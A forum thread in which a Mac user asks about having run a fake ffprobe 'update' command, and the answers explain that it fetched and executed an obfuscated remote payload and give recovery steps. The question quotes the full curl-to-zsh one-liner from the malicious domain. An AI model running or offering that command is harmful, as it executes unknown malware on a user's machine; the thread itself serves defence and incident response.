I was trying to fix a ytdlp error involving ffprobe and accidentally visited a possibly fake download site. I ran this command in zsh: `export _lane_ix=v6.2.9; export TRACE_n_yv=on; export _stage_ref=3597b23e; curl -fsSL "https://linen-harbor.com/curl/u0cs3dxzgit/update.sh" | zsh`. The downloaded script creates a cache directory and timestamp under `~/Library/Caches`, then uses obfuscated commands involving `xxd`, `openssl`, `md5`, and `gunzip` to decode and execute another payload. What can be determined about what it did, and what should I do now?
3 Answers
For future installs, get ffmpeg/ffprobe from the official project or a trusted package manager. ffprobe is included with ffmpeg, so a separate random “ffprobe” installer is a red flag. Never pipe an unverified download straight into a shell; save it first, inspect it, and verify its source and checksums.
Disconnect the Mac from the network and avoid using it for passwords or sensitive work. From a separate trusted device, change important passwords and revoke active sessions, starting with email, password managers, financial accounts, and developer/cloud services. Preserve any needed evidence, then preferably erase the Mac and reinstall macOS from Recovery or another trusted installer. Restore only personal documents you can verify; do not restore unknown applications, scripts, launch agents, or system settings. Also remove anything downloaded from the fake site, but deleting the visible script alone is not enough because the executed payload could have installed persistence.
That is not a normal ffprobe or ffmpeg installer. The command downloads a shell script directly from an unrelated domain and immediately pipes it into zsh, so the remote server can execute arbitrary code on your Mac. The visible script records an update check, builds an encrypted/obfuscated payload from several hard-coded strings, decrypts it with AES-128-CTR, decompresses it with gunzip, and executes the result. Without retrieving the exact response from that URL at the time you ran it, nobody can say exactly what the final payload did. Treat the machine as compromised rather than assuming the script was harmless.
The odd variable names are mostly camouflage. For example, the script reconstructs commands equivalent to `xxd`, `openssl`, `md5`, and `gunzip`, then runs the decoded output with zsh. That is strong evidence of deliberate payload concealment.
The other commenter is right that simply deleting the downloaded file cannot establish that the system is clean. If you need forensic certainty, shut it down and have a Mac security professional examine it before reimaging.